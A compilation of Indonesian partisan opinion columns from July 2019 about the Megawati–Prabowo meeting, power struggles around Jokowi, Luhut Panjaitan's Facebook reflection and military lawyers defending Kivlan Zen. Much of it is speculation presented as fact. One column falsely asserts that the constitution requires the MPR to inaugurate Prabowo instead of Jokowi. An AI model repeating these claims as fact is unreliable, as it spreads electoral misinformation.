melemahkan umat garis lurus dengan dalih membasmi radikalisme. Selanjutnya tujuan ketiga. Merangkul Prabowo ke Kubu 01 sekaligus memberikan isyarat ‘tendang out’ untuk Luhu Binsar Pandjaitan (LBP). Sejak Lebak Bulus, LBP paham bahwa dia akan dibuang dari lingkaran Jokowi. Sebetulnya, Mega sudah lama ingin mendepak LBP. Namun, selalu tak punya alasan kuat untuk disampaikan kepada Jokowi. Tidak mudah menyingkirkan LBP. Sekaranglah saat yang tepat. Mega bisa meyakinkan Jokowi bahwa LBP lebih banyak menjadi masalah ketimbang solusi. Tujuan keempat. Dengan merangkul Prabowo, Megawati menunjukkan bahasa tubuh kepada SBY dan Partai Demokrat bahwa mereka sebenarnya tidak disukai masuk ke lingkaran Jokowi. Sejak Lebak Bulus, dan sekarang pertemuan Teuku Umar, SBY dan orang-orang Demokrat paham betul bahwa mereka tidak akan diberi ruang untuk bermanuver. Mega pastilah melihat jauh ke pilpres 2024. Kalau dia berhasil merangkul Prabowo dan Gerindra (sebagai partai nomor dua di DPR), itu berarti rencana yang sedang disiapkan Mega untuk pilpres lima tahu lagi kemungkinan besar akan sukses. Tujuan kelima. Megawati merangkul Prabowo untuk mengatakan kepada partai-partai lain di Kubu 01 bahwa bukan mereka yang mengatur Jokowi. Bukan mereka yang menentukan kabinet baru Jokowi. Bu Mega ingin menegaskan bahwa beliau dan BG-lah yang sekarang menjadi episentrum kekuasaan Jokowi periode kedua. Mega mengirimkan isyarat bahwa partai-partai koalisi Jokowi harus menerima kalau Prabowo dan Gerindra ikut masuk kabinet. Begitulah lebih kurang kemungkinan tujuan Megawati dan Jokowi merangkul Prabowo. Tetapi, harus ada disclaimer bahwa bisa saja Prabowo akan mengalami pengelabuan seperti yang pernah dialaminya lewat Perjanjian Batu Tulis 2009. Waktu itu, Megawati mangkir janji untuk mendukung Prabowo di pilpres 2014. (25 Juli 2019)

Makan Siang Megawati-Prabowo: Bukan Sekadar CLBK Biasa

Oleh : Hersubeno Arief Jakarta, FNN - Makan siang Megawati-Prabowo Rabu (24/7) siang memberi banyak isyarat dan tafsir politik. Mulai dari siapa saja yang hadir. Menu makanan yang disajikan. Dan tentu implikasi politik dari pertemuan tersebut. Pertama, dari sisi yang hadir. Tuan rumah Megawati hanya ditemani keluarga inti, dan orang-orang dekatnya, khususnya PDIP. Mega ditemani dua orang anaknya Prananda, Puan Maharani, dan Kepala BIN Budi Gunawan. Sementara dari PDIP hadir Sekjen DPP Hasto Kristiyanto dan mantan Sekjen Pramono Anung yang kini menjadi Menseskab. Sementara Prabowo juga ditemani dua fungsionaris Partai Gerindra yang sudah lama dekat dan mendampingi Prabowo. Sekjen Ahmad Muzani dan Wakil Ketua Umum Edy Prabowo. Dua orang ini sudah dekat dengan Prabowo bahkan sebelum Gerindra berdiri. Apa artinya? Ini benar-benar pertemuan terbatas. Hanya mereka yang benar-benar punya kedekatan secara personal yang boleh hadir. Megawati dan Prabowo sudah mempunyai hubungan personal cukup lama dengan Megawati. Secara idiologis mereka juga sama. Jalur nasionalis dan kebangsaan. Pada Pilpres 2009 mereka bahkan pernah berpasangan sebagai capres-cawapres. Sayangnya mereka kalah ketika berhadapan dengan capres inkumben Susilo Bambang Yudhoyono yang berpasangan dengan Budiono. Menurut klaim kubu Prabowo ketika itu ada semacam perjanjian tertulis, bahwa Megawati akan mendukung Prabowo pada Pilpres 2014 sebagai capres. Kesepakatan itu dikenal dengan nama Perjanjian Batutulis. Sesuai dengan nama Istana Batu Tulis, Bogor yang menjadi lokasi perjanjian ditandatangani. Kemesraan hubungan keduanya terus berlanjut pada Pilkada DKI 2012. Berkat kegigihan Prabowo meyakinkan Megawati, pasangan Jokowi-Ahok terpilih menjadi Gubernur DKI. Namun gegara Jokowi lah hubungan Megawati dengan Prabowo secara politik menjadi terganggu. Megawati pada Pilpres 2014 memutuskan mendukung Jokowi dan mengingkari kesepakatan Batu Tulis. Ironisnya Jokowi yang berpasangan dengan Jusuf Kalla kemudian mengalahkan Prabowo-Hatta. Perseteruan politik keduanya terus berlanjut dan tensinya malah meninggi ketika berlangsung Pilpres 2019. Sempat ada upaya menjodohkan Prabowo sebagai capres Jokowi. Namun usulan itu ditolak Prabowo. Seperti kita ketahui, Prabowo yang berpasangan dengan Sandiaga Uno kembali dikalahkan oleh Jokowi yang berpasangan dengan Ma’ruf Amin. Perseteruannya sangat keras. Prabowo bahkan sempat menolak mengakui hasil pilpres dan menuding Jokowi melakukan kecurangan. Kedua, dari sisi makanan yang disajikan. Secara simbolis dan semiotis bermakna politis sangat tinggi. Ada menu khusus dengan bumbu bawang putih spesial. Bawang putih adalah bumbu makanan dari sisi kesehatan dapat menyembuhkan penyakit aliran darah yang tersumbat (kolesterol) dan darah tinggi. Jadi secara simbolis tampaknya Megawati menginginkan agar komunikasi politik diantara mereka yang tersumbat, dapat lancar kembali. Sementara tensi politik yang meninggi akibat perseteruan di pilpres dapat diturunkan. Soal ini tampaknya tidak sulit dilakukan. Mengingat kedekatan dan kemesraan hubungan politik keduanya di masa lalu. Ini semacam CLBK. Cinta Lama Bersemi Kembali. Cinta Lama Belum Kelar. Hal itu terbukti ketika Budi Gunawan salah satu orang terdekat Megawati berhasil mempertemukan Prabowo dengan Jokowi, dan sekarang dengan Megawati. Padahal sebelumnya Luhut Panjaitan salah satu tangan kanan Jokowi sudah berupaya keras. Namun selalu ditolak Prabowo. Ketiga, impilikasi politik. Pertemuan Prabowo dengan Megawati ini kian menegaskan tengah terjadi power struggle (perebutan pengaruh/kekuasaan) di sekitar Jokowi pasca pilpres. Megawati tengah melakukan konsolidasi pengamanan aset politiknya menuju Pilpres 2024 dengan melibatkan Prabowo. Mari kita cermati beberapa fakta berikut : Sabtu 13 Juli 2019 Jokowi bertemu dengan Prabowo di stasiun MRT Lebak Bulus. Acara itu dilanjutkan dengan makan siang di Satay House FX Sudirman, Jakarta. Tidak ada wakil dari parpol koalisi pendukung Jokowi-Ma’ruf yang hadir. Jokowi justru didampingi Budi Gunawan dan Pramono Anung. Pertemuan ini adalah keberhasilan lobi politik kubu Megawati melalui operasi intelijen yang dilakukan Budi Gunawan. Sebelumnya Luhut Panjaitan sudah melakukan berbagai cara mencoba mempertemukan Jokowi dengan Prabowo. Namun selalu mentok. Senin 22 Juli Ketua Umum Nasdem Surya Paloh bertemu dengan Ketua Umum Golkar Airlangga Hartarto, Ketua Umum PKB Muhaimin Iskandar, dan Plt Ketum PPP Soeharso Monoarfa di kantor Nasdem Gondangdia. Tidak ada wakil PDIP yang hadir. Surya Paloh menjelaskan bahwa pertemuan tersebut tidak direncanakan. Para Ketum itu juga tidak diundang. Mereka, kata Surya hadir karena tahu dua hari sebelumnya Surya ulang tahun. Bagi yang paham dunia politik alasan Surya ini sangat naif. Dalam dunia politik dikenal jargon, “ tidak ada yang kebetulan.” Kalau toh ada kebetulan, kata Presiden AS Franklin D Roosevelt, maka itu pun direncanakan. Para Ketum ini sebelumnya sempat terlibat dalam polemik soal jatah kursi di kabinet. Masing-masing merasa berhak mendapat jatah kursi yang banyak. Kehadiran para Ketum di markas Nasdem ini harus dilihat sebagai konsolidasi. Jaga-jaga dan atur strategi jangan sampai jatah mereka berkurang, bahkan diserobot Prabowo. Mereka pantas khawatir Prabowo bersiap-siap memotong di tikungan. Sebab seperti dikatakan Ketua Dewan Kehormatan PAN Amien Rais, Prabowo sudah mengajukan power sharing 45-55 persen seperti hasil perolehan suara pilpres. Senin sore 22 Juli 2019 Luhut Panjaitan tiba-tiba memposting tulisan panjang di akun facebooknya. Dia bercerita kegiatan pribadinya berziarah ke makam mantan Menhankam/Pangab LB Moerdani. Tulisan itu banyak ditafsirkan sebagai isyarat bahwa Luhut bakal tersingkir dan meninggalkan hiruk pikuk dunia politik. Dalam tulisannya dia menyatakan : Seberapa kaya seseorang. Betapa berkuasa sewaktu masih hidup, maka bila meninggal dunia yang tersisa hanya gundukan tanah seluas 1X2 meter. Berbagai rangkaian peristiwa diatas, dan khususnya pertemuan Megawati-Prabowo menunjukkan secara politik, faksi Megawati menguat dan mulai memainkan kontrolnya. Pada periode kedua Jokowi, Megawati jelas tak ingin lagi kecolongan dan kehilangan kontrol seperti pada masa periode pertama. Pada periode pertama figur seperti Surya Paloh dan Luhut Panjaitan terlihat sangat dominan dan memainkan peran penting di pemerintahan Jokowi. Sebagai petugas partai, Jokowi adalah aset politik terpenting PDIP. Aset politik yang harus benar-benar dalam kendali partai bila Megawati ingin memperpanjang kekuasaannya untuk periode berikutnya. Pilpres 2019 ternyata belum usai. End

Jokowi Terancam Gagal Dilantik, Jika PDIP Tolak “Power Sharing”

Oleh Moch. Toha (Wartawan Senior) Jakarta, FNN - Hal yang mengejutkan dari pembicaraan Amien Rais dan Prabowo itu adalah terungkapnya syarat rekonsiliasi yang diajukan Prabowo kepada Jokowi. Apa yang bakal terjadi jika PDIP menolak power sharing yang diajukan Prabowo Subianto sebagai syarat rekonsiliasi seperti yang disampaikan oleh Ketua Dewan Kehormatan PAN Prof. Amien Rais saat bertemu dengan Prabowo, Selasa (16/7/2019)? Dapat dipastikan, upaya rekonsiliasi yang diinginkan Presiden Joko Widodo akan terancam gagal tidak bisa dieksekusi. PDIP tak sepakat dengan konsep rekonsiliasi Amien Rais yang meminta jatah kursi 55 persen untuk koalisi dan 45 persen untuk oposisi. Sekjen PDIP Hasto Kristiyanto mengatakan, tidak ada jatah-jatahan kursi di pemerintahan Presiden Jokowi. “Kita bernegara bedasarkan konstitusi, tidak ada jatah-jatahan menteri, dengan pengertian itu hak prerogatif (presiden) sepenuhnya,” katanya. Melansir RMOL.com, Sabtu (20/7/2019), parpol pendukung berkedudukan sebagai pengusul sosok yang diperlukan presiden untuk menjabat posisi menteri. Namun, kata dia, kewenangan untuk mengambil menteri ada di tangan presiden, bukan partai politik. “Presiden punya kewenangan untuk memilih siapa yang pas karena menteri bukan petinggi biasa, menteri seorang yang menguasai hal ikhwal kementerian yang dipimpinnya. Menteri harus sosok negarawan, bukan yang berjuang demi kepentingan kelompoknya,” tegasnya. Oleh karenanya, ia tidak sependapat dengan pemikiran Amien Rais soal syarat rekonsiliasi agar oposisi bisa bergabung dengan pemerintah. “Tentu saja (tidak setuju) kita tidak bicara berapa persentasenya,” tegasnya. “Kita bicara mana anak bangsa yang punya kemampuan menjadi pendamping Pak Jokowi,” lanjut Hasto. Syarat lain yang disampaikan Amien Rais adalah kesediaan Jokowi untuk menerima ide dan program Prabowo Subianto – Sandiaga Uno. Memang, pasca pertemuan antara Presiden Jokowi dengan Prabowo di Stasiun MRT Lebak Bulus, peluang Partai Gerindra masuk gerbong pemerintahan Jokowi jilid II semakin besar. Diperkuat lagi dengan pernyataan Prabowo yang siap membantu. Pernyataaan Ketua Umum Gerindra Prabowo “kami siap membantu jika diperlukan” ketika bertemu dengan Jokowi di Jakarta pada 13 Juli 2019, diyakini sebagai isyarat, Gerindra siap bergabung dalam pemerintahan baru Jokowi. Kabarnya, setelah pertemuan di Stasiun MRT itu, bakal ada lagi pertemuan lanjutan antara Jokowi dan Prabowo. Pertemuan tersebut disebut-sebut untuk menjajaki kerja sama politik yang lebih matang dalam lima tahun ke depan. Jika pembicaraan sudah ketemu, Jokowi bisa mengakomodir gagasan dan program Prabowo, dan lebih maju lagi, Gerindra bisa menempatkan kadernya di kabinet Jokowi II. Setidaknya, dalam lima tahun ke depan, Prabowo juga mewarnai kepemimpinan Jokowi. Posisi Prabowo dalam pemerintahan Jokowi mendatang inilah yang tentunya membuat tidak nyaman Partai Demokrat (baca: Ketum Demokrat Susilo Bambang Yudhoyono). Pasalnya, sejak awal Demokrat yang sudah menyatakan siap membantu Jokowi. Namun, sejak ada upaya rekonsiliasi antara Jokowi dengan Prabowo itu, hubungan SBY dan Jokowi mulai “renggang”. Paslon 01 Joko Widodo – Ma’ruf Amin itu dan parpol pendukungnya saat ini dikabarkan tidak melirik lagi Demokrat dan SBY. Alasannya, Jokowi dan parpol pendukungnya lebih nyaman dan tenang bekerja sama dengan Prabowo plus Gerindra, daripada Demokrat yang abu-abu. Posisi Demokrat di pemerintahan diibaratkan seperti “duri dalam daging” atau “jempol kaki cantengan”. Konsekuensi dari rekonsiliasi Jokowi – Prabowo di antaranya, yaitu Jokowi selaku Presiden RI akan mendelegasikan sebagian besar tugas dan kewenangannya sebagai Kepala Pemerintahan kepada Prabowo. Sehingga, Jokowi hanya sebatas sebagai Kepala Negara. Wapres Jusuf Kalla dan Ketum PDIP Megawati Soekarnoputri, konon, sudah setuju dengan format ini. Keduanya nanti sebagai penasehat aktif pemerintah. Inilah yang membuat para "Dalang" yang selama ini berada mengendalikan Jokowi meradang. Pasalnya, jika format rekonsiliasi dengan komposisi 55 : 54 untuk Jokowi : Prabowo, mereka tidak bisa “berkuasa” lagi atas Presiden Jokowi. Syarat power sharing itu sesuai dengan hasil Pilpres 2019 versi KPU dan MK yang diamini MA. Ketua Dewan Kehormatan PAN Amien Rais bertemu dengan Prabowo, Selasa (16/7/2019) . Pertemuan ini digelar pasca pertemuan Prabowo dan Jokowi di MRT, Sabtu (13/7/2019) lalu. Amien Rais menjelaskan isi pertemuannya dengan Prabowo. “Saya tadi ada pertemuan dengan Pak Prabowo, bukan di 04 atau 06, bukan di sini, tadi di tempat lain. Berlangsung sekitar 25 menit,” kata Amien Rais di kediamannya, Kompleks Taman Gandaria Blok C Nomor 1, Kebayoran Lama, Jakarta Selatan, Selasa (16/7/2019). Hal yang mengejutkan dari pembicaraan Amien Rais dan Prabowo itu adalah terungkapnya syarat rekonsiliasi yang diajukan Prabowo kepada Jokowi. Syarat ini nampaknya sangat berat untuk bisa dipenuhi pihak Jokowi. Kalau syarat ini disetujui pihak Jokowi, maka bakal terjadi rekonsiliasi. “Yang kedua ini saya bocorkan, bahwa Prabowo mengatakan yang namanya rekonsiliasi itu memang betul-betul harus objektif,” ungkap Amien Rais kepada wartawan. “Kemudian peta politik ke depan bagaimana, kalau pro dengan kedaulatan pangan, energi, air, ketahanan bangsa, pro pada rakyat, pro pasal 33 UUD 1945, maka rekonsiliasi dapat dipertimbangkan,” lanjut Amien Rais. “Dan tentu kekuatannya (power sharing/bagi-bagi kekuasaannya) seperti tercerminkan sesuai hasil Pilpres menurut keputusan KPU dan putusan MK, yakni 55:45 power sharing. Kalau memang betul mau rekonsiliasi,” tegas Amien Rais. Menurutnya, kalau tak ada power sharing 55:45, maka itu bukan rekonsiliasi, tapi kooptasi. “Dan jelas kalau tidak dipenuhi syarat power sharing 55:45, maka jelas sekali akan memilih menjadi oposisi,” tambahnya. Jika itu terealisasi, cita-cita NKRI menjadi adil makmur akan segera terwujud. Karena, para koruptor juga akan berpikir panjang jika akan korupsi. Inilah yang sebenarnya ditakutkan oleh para “Dalang” pengendali Jokowi selama ini. Format seperti itulah yang ditolak mentah-mentah oleh Sekjen PDIP Hasto Kristiyanto tadi. “PDIP itu tergantung Bu Mega dan Prananda Prabowo. Hasto itu cuma radio rusak, Mas!” ungkap sumber PepNews.com. Jika Hasto dan PDIP ngotot menolak format rekonsiliasi seperti yang diajukan Prabowo, ini justru akan menyulitkan paslon 01 sendiri. Jokowi – Ma’ruf bisa terancam gagal dilantik sebagai Presiden – Wapres RI periode 2019-2024. Meski menang secara yuridis formal, secara politis Jokowi – Ma’ruf bisa saja gagal dilantik oleh MPR. Menang pada Pilpres 2019, tapi tak otomatis bisa dilantik. Karena, sesuai pasal 6 UUD 1945 mengharuskan agar pemenang pilpres harus menang di 50% wilayah provinsi dan tidak boleh ada suara di wilayah provinsi yang di bawah 20 persen. Meski Paslon 02 Prabowo – Sandi tidak menang secara nasional (menurut KPU), tapi keduanya menang di 26 provinsi, tidak ada perolehan suara di bawah 20 persen. Dengan demikian maka Prabowo menang 2 point versi UUD 1945, Jokowi menang hanya 1 point. Solusinya: Pertama, MPR harus bersidang untuk melantik Prabowo, bukan melantik Jokowi. Kalau melantik Jokowi melanggar UUD 1945. Lagi pula kalau Jokowi dilantik, maka ada 26 provinsi yang kecewa. Kedua, pemilihan ulang. Banyak rakyat tidak mau pilpres ulang karena mereka yakin bahwa pemenang pilpres adalah Prabowo – Sandi. Jadi, tidak ada alternatif lain kecuali MPR harus melantik Prabowo – Sandi sebagai Presiden dan Wapres RI 2019-2024. Perlu dicatat, UUD 1945 hanya bisa diubah melalui amandemen dalam Sidang Umum MPR dan DPR. Kini, pilihan ada di tangan Jokowi dan PDIP, bukan “radio rusak”! ***

Dalam Kasus Kivlan Zen, Terjadi Perang Saudara antara TNI dan Polri

Oleh Mangarahon Dongoran ( Wartawan Senior) Jakarta, FNN - Tiga belas perwira Tentara Nasional Indonesia aktif siap memberikan bantuan hukum terhadap Mayor Jenderal Purnawirawan Kivlan Zen dalam melawan Polri. Pembelaan tersebut diberikan dalam praperadilan yang diajukan ke Pengadilan Negeri Jakarta Selatan dan mulai disidangkan Senin, 22 Juli 2019. Sedianya sidang digelar 8 Juli 2019, tapi ditunda karena perwakilan Polri tidak hadir. Kivlan Zen tidak menerima penetapannya sebagai tersangka kasus makar dan pemilikan senjata ilegal yang dilakukan Kepolisian Daerah (Polda) Metro Jaya. Ia pun mengajukan praperadilan. Menarik dicermati adalah dari 13 perwira militer yang memberikan bantuan hukum itu, dua di antaranya perwira tinggi berpangkat mayor jenderal dan brigadir jenderal. Selebihnya merupakan perwira menengah. Ke-13 perwia aktif itu siap memberikan bantuan hukum secara habis-habisan terhadap Kivlan, saudara kandung mereka di TNI yang sedang dizolimi oleh polisi. Mengapa mereka mendapat penugasan dari Mabes TNI untuk membela Kivlan, seorang purnawirawan TNI Angkatan Darat yang dikenal kritis, terutama menyuarakan tentang komunis yang mulai bangkit di Negara Pancasila yang berdasarkan Ketuhanan Yang Maha Esa? Menurut penuturan pengacaranya, Kivlan Zen lah yang memberikan surat kuasa hukum terhadap ke-13 perwira gabungan dari TNI AD, AL dan AU itu. Oleh karena itu, pembelaan yang akan dilakukan 13 perwira aktif itu menarik dicermati. Sebab, selain atas permintaan Kivlan, mereka semua mendapatkan restu dan penugasan dari Mabes TNI. Sepanjang yang saya lihat lewat media, penampilan mereka juga berbeda dari pengacara Kivlan yang berasal dari sipil. Tiga perwira yang hadir di PN Jakarta Selatan duduk bersebelahan dengan pengacara yang berasal dari sipil. Meski duduk sejajar, tapi mereka tampil dengan pakaian lengkap. Mereka mengenakan pakaian hijau loreng. Layaknya sedang membela militer aktif di pengadilan militer. Padahal, bukan berada di pengadilan militer. Itu artinya ada suatu pesan yang ingin disampaikan, terutama kepada Polri. Apalagi, perwira aktif yang menjadi pembela Kivlan itu berasal dari tiga angkatan, yaitu TNI AD, TNI AL dan TNI AU. Pakaian loreng itu adalah sebuah sandi bahwa mereka siap membela habis-habisan terhadap saudara kandung yang sedang dizolimi oleh Polri, khususnya Kepolisian Daerah (Polda) Metro Jaya. Pakaian loreng tidak sembarang digunakan. Biasanya, pakaian itu digunakan di medan tempur atau dalam latihan. Selain itu, penggunaannya pada situasi darurat atau keadaan siaga. Misalnya, selama Pilpres, sampai putusan MK dan bahkan nanti sampai saat pelantikan Presiden 20 Oktober 2019, tentara yang bertugas di lapangan dalam rangka pengamanan, hampir semua memakai loreng, kecuali bagian intel. Betul ada hari tertentu tentara memakai loreng. Setidaknya ada dua pesan penting yang ingin disampaikan dengan kehadiran 13 perwira militer aktif itu. Pertama, kami dari tiga angkatan siap melawan polisi. Apalagi, kami berasal dari Mabes TNI, yang berhadapan dengan Polda Metro di pengadilan. Kalau bukan itu pesannya, pembela Kivlan dari militer cukup dari Komando Daerah Militer (Kodam) Jaya. Itu baru selevel dengan Polda Metro Jaya. Atau cukup bantuan hukum dari Mabes TNI AD atau dari Kostrad. Tetapi, ini pengacara militer dari Mabes TNI. Kedua, kehadiran mereka tidak main-main. Dengan pakaian loreng, menunjukkan bawa tentara siap "berperang" melawan polisi secara hukum. Ya, siap "perang saudara." Meski mereka tentara, tetapi latar belakang akademisi mereka adalah sarjana hukum (SH). Sudah tentu mereka juga mahir dalam memberikan jurus-jurus silat secara hukum. Yang membedakan mereka dengan polisi sebagai penegak hukum, hanya dalam pendalaman bahwa mereka banyak belajar hukum militer. Sekarang yang menjadi pertanyaan apakah dalam perang melawan polisi ini mereka akan menang? Bahwa selama ini ada perang (bentrok) fisik antara tentara dan polisi, hampir selalu dimenangkan oleh tentara. Tentu dalam kasus Kivlan Zen yang mengajukan praperadilan, kita masih menunggu putusan hakim. Akan tetapi, jika melihat kasusnya, mestinya Kivlan menang. Alasannya, semua yang ditangkap polisi dan dijadikan tersangka makar, tidak jelas rimbanya. Bahkan, mantan Komandan Jenderal Kopassus Mayjen Purnawirawan Soenarko sudah keluar dari tahanan. Ia juga ditangkap dengan tuduhan makar dan pemilikan senjata ilegal. Soenarko keluar dari tahanan atas jaminan 102 purnawirawan TNI AD. Sedangkan Kivlan yang juga mendapat jaminan penangguhan dari 700 orang purnawirawan TNI AD, masih tetap dikurung di tahanan POM AD Guntur. Akankah praperadilan ini juga sebagai usaha melepaskannya dari penetapan tersangka, agar kepolisian "kalah terhormat", ketimbang melepas begitu saja seperti tersangka makar lainnya? Perkiraan daya, ya. Berikut nama-nama perwira TNI aktif sebagai kuasa Tim Pembela Hukum Kivlan Zen : 1. Mayor Jenderal TNI Purnomo SH. MH. 2. Brigadir Jenderal TNI Dr. Wahyu Wibowo SH. MH. 3. Kolonel Chk. Subagya Santosa SH. MH. 4. Kolonel Chk. Azhar SH. M.Kn. 5. Letkol Chk. Wawan Rusliawan SH. 6. Letkol Chk (K) Mesra Jaya SH. 7. Letkol Laut (Kh) Marimin SH. 8. Letkol Laut (Kh). Sutarto Wilson SH. 9. Letkol Chk. Purwadi Joko Santoso SH. 10. Mayor Chk. Dedi Setiadi SH. MH. 11. Mayor Chk. Marwan lswandi SH. MH. 12. Mayor Chk. Ahmad Hariri SH. MH. 13. Mayor Sus. Ismanto. **

Ada Apa dengan Jenderal Luhut?

Oleh Hersubeno Arief (Wartawan Senior) Jakarta, FNN - Tidak biasanya Menko Maritim Luhut Panjaitan yang dikenal selalu tampil garang, memposting tulisan bernada melow. Senin sore (22/7) melalui akun facebooknya Luhut menulis kegiatan pribadinya. Dia berziarah ke makam mantan Menhankam/ Panglima TNI Leonardus Benjamin Moerdani di Taman Makam Pahlawan Kalibata, Jakarta. “ Tiba-tiba saya teringat pak Benny.” Begitu Luhut memulai tulisannya. “Saya pada suatu pagi minggu lalu memutuskan untuk berziarah ke Taman Makam Pahlawan (TMP) Nasional Kalibata. Di pusara beliau saya memberi hormat penuh lalu mendoakan agar arwahnya diterima di sisi-Nya sesuai dengan amal jasanya sewaktu masih hidup.” Kemudian saya sentuh batu nisannya, lanjutnya. “Saya baca tulisan di nisan itu, beliau meninggal pada 29 Agustus 2004, setelah dirawat beberapa waktu di RSPAD Gatot Soebroto. Usianya 72 tahun. Relatif masih muda.” Konten dan gaya penulisannya terkesan sangat personal. Melalui tulisan itu Luhut kemudian bercerita tentang Benny. Seorang loyalis Soeharto yang kemudian tersingkir dari kekuasaan. Namun satu hal yang dicatat Luhut, apapun sikap dan perlakuan Soeharto kepedanya, Benny tak pernah kehilangan kesetiaannya. Tersingkirnya Benny dari elit kekuasaan Orde Baru berdampak langsung terhadap Luhut. Sebagai salah satu Golden Boys Benny, begitu Luhut menyebut dirinya, dia juga harus menerima konskuensinya. Karir militernya mentok. Sebagai lulusan terbaik Akmil 1970, mendapat penghargaan Adhi Makayasa, Luhut terpilih masuk ke korps pasukan elit Kopassus TNI AD. Namun karir militernya tidak cemerlang. “Tidak jadi Danjen Kopassus, tidak jadi Kasdam atau Pangdam; bagi saya itu harus bayar sebagai akibat kesetiaan yang tegak lurus,” tulisnya. Luhut benar, jabatan tertingginya di lingkungan teritorial hanya mentok sebagai Komandan Komando Resort Militer 081/Dhirotsaha Jaya di Madiun Jatim. Pada jabatan ini dia juga menorehkan prestasi sebagai Danrem terbaik. Setelah itu dia tak pernah menempati posisi komando yang penting. Jabatan Danjen Kopassus malah berhasil diraih oleh teman satu angkatannya di Akmil 1970 Soebagjo HS. Padahal secara akademis dan militer, Luhut lebih menonjol. Jabatan tertinggi di lingkungan militer yang diraih Luhut “hanya” menjadi Komandan Kodiklatad di Bandung dengan pangkat Mayjen. Pangkat Jenderal bintang empat yang diperolehnya melalui penghargaan yang disebut sebagai jenderal kehormatan (Hor). Karir Luhut justru cemerlang di luar lingkungan militer. Dia diangkat menjadi Dubes Singapura pada masa pemerintahan Habibie dan kemudian menjadi Menteri Perindustrian di era Presiden Abdurahman Wahid. Sempat menepi pada masa pemerintahan Megawati dan Susilo Bambang Yudhoyono, karir Luhut kembali cemerlang pada masa pemerintahan Jokowi. Menempati posisi awal sebagai Kepala Staf Presiden (KSP) Luhut kemudian sempat menjadi Menkopolhukam, dan sekarang menjadi Menko Maritim. Melalui berbagai jabatannya ini Luhut menunjukkan pengaruhnya yang besar sebagai pejabat yang paling diandalkan Presiden Jokowi. Semua urusan baik politik, ekonomi, sampai kegiatan pribadi Jokowi (menikahkan anak) tak lepas dari sentuhan Luhut. Dengan posisi dan perannya Luhut mendapat julukan sebagai menteri semua urusan. Perannya bahkan terkesan lebih besar dibandingkan dengan Wapres Jusuf Kalla. Power struggle Dengan semua kekuasaan dan kesuksesan di tangan, menjadi pertanyaan besar mengapa Jenderal Luhut tiba-tiba terkesan melow. Terkesan dia sedang sendirian dan berada di sebuah ujung perjalanan karirnya. Coba simak salah satu kalimat yang ditulisnya: “Beberapa lama saya pandang pusaranya yang sederhana, sesederhana ribuan pusara lain di TMP Kalibata yang seolah mengisyaratkan bahwa bila wafat, hanya gundukan tanah seluas 1 x 2 meter itulah yang tersisa.” Betapa pun kayanya seseorang, lanjutnya. Betapa berkuasanya sewaktu masih hidup; “hanya tanah itu yang menandakan bahwa ada sesosok manusia yang pernah hidup di dunia.” Sungguh sangat kontemplatif dan menunjukkan sikap seseorang yang sudah siap meninggalkan semua hiruk pikuk duniawi. Bila menyimak hasil Pilpres 2019 yang baru lalu, Luhut sesungguhnya sedang menyambut masa kejayaan berikutnya. Mengacu pada masa pemerintahan Jokowi periode pertama, Luhut akan kembali memainkan peran besar, bahkan lebih besar. Dengan posisi Wapres ditempati Maruf Amin, besar kemungkinan Luhut akan mengambil peran internasional yang lebih besar. Sebuah peran yang selama ini dimainkan oleh Jusuf Kalla. Secara bisnis Luhut juga sedang berada dalam puncak keemasan. Dia baru saja membangun gedung perkantoran bernama Sopo Del Tower, tempat kerajaan bisnisnya berpusat. Gedung berlokasi di kawasan elit Mega Kuningan, Jakarta Selatan itu baru saja memenangkan tender dan menjadi kantor Pusat PT Pertamina. Jadi seharusnya tak ada alasan bagi Luhut untuk cepat-cepat mengingat kematian. Apalagi dia menyebut usia Benny ketika meninggal dunia, masih relatif muda, 72 tahun. Usia Luhut sendiri baru akan mencapai 72 tahun pada 28 September mendatang. Apakah sikap melow Luhut ada kaitannya dengan pertarungan kekuasaan di seputar Jokowi pasca Pilpres? Lebih khusus lagi pasca pertemuan Jokowi-Prabowo di stasiun MRT? Kebetulan dalam tulisan itu Luhut juga menyinggung konflik masa lalu Prabowo dengan Benny. Pertemuan Jokowi-Prabowo berhasil dilaksanakan berkat tangan dingin Kepala BIN Budi Gunawan. Jenderal polisi ini dikenal sebagai orang dekat Megawati. Sebelumnya Luhut berkali-kali mencoba mempertemukan Jokowi dengan Prabowo, namun gagal. End

Membaca Arah Catatan FB Luhut Binsar Panjaitan

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Pada Senin (22/7/2019), Jenderal TNI (Purn) Luhut Binsar Panjaitan menulis sebuah catatan di laman Facebook-nya. Menko Bidang Kemaritiman yang sering disebut sebagai "The Real President" RI ini menulis kenangannya bersama LB Moerdani. Tiba-tiba Saya Teringat Pak Benny. Suatu sore, saya tiba-tiba teringat kepada almarhum Jenderal TNI (Purn) Leonardus Benyamin (Benny) Moerdani, salah satu jenderal tempur TNI yang saya kagumi. Saya memang sudah beberapa waktu tidak berziarah ke makamnya. Saya pada suatu pagi minggu lalu memutuskan untuk berziarah ke Taman Makam Pahlawan (TMP) Nasional Kalibata. Di pusara beliau saya memberi hormat penuh lalu mendoakan agar arwahnya diterima di sisi-Nya sesuai dengan amal jasanya sewaktu masih hidup. Kemudian saya sentuh batu nisannya. Saya baca tulisan di nisan itu, beliau meninggal pada 29 Agustus 2004, setelah dirawat beberapa waktu di RSPAD Gatot Soebroto. Usianya 72 tahun. Relatif masih muda. Beberapa lama saya pandang pusaranya yang sederhana, sesederhana ribuan pusara lain di TMP Kalibata yang seolah mengisyaratkan bahwa bila wafat, hanya gundukan tanah seluas 1 x 2 meter itulah yang tersisa. Betapa pun kayanya seseorang, betapa berkuasanya sewaktu masih sehidup; hanya tanah itu yang menandakan bahwa ada sesosok manusia yang pernah hidup di dunia. Almarhum Pak Benny saya kagumi sejak saya masih perwira menengah TNI-AD. Saya mulai kenal beliau sejak saya berpangkat Mayor, sebelum saya bersama Kapten Inf. Prabowo Subianto dikirim untuk belajar mengenai pasukan anti-teror di GSG-9 di Jerman Barat. Meski waktu itu Pak Benny berpangkat Letjen dan menjabat Asintel Hankam/ABRI, dari waktu ke waktu ia selalu minta saya berikan laporan kemajuan sekolah kami. Ia tidak malu menelepon saya dan mengajukan pertanyaan yang mendetail. Setelah pulang dan saya mulai memimpin pasukan anti-teror pertama di Indonesia yaitu Detasemen 81 (Den-81), saya sering dipanggil menghadap Pak Benny di kantornya di Jalan Sahardjo (sekarang lokasinya menjadi Balai Prajurit TNI), entah menanyakan pelatihan pasukan yang baru itu, atau lain-lain. Dari situ saya mendapat kesan khusus mengenai betapa ia memiliki karakter yang sangat kuat. Auranya memancarkan wibawa ditambah dengan wajahnya yang keras dan 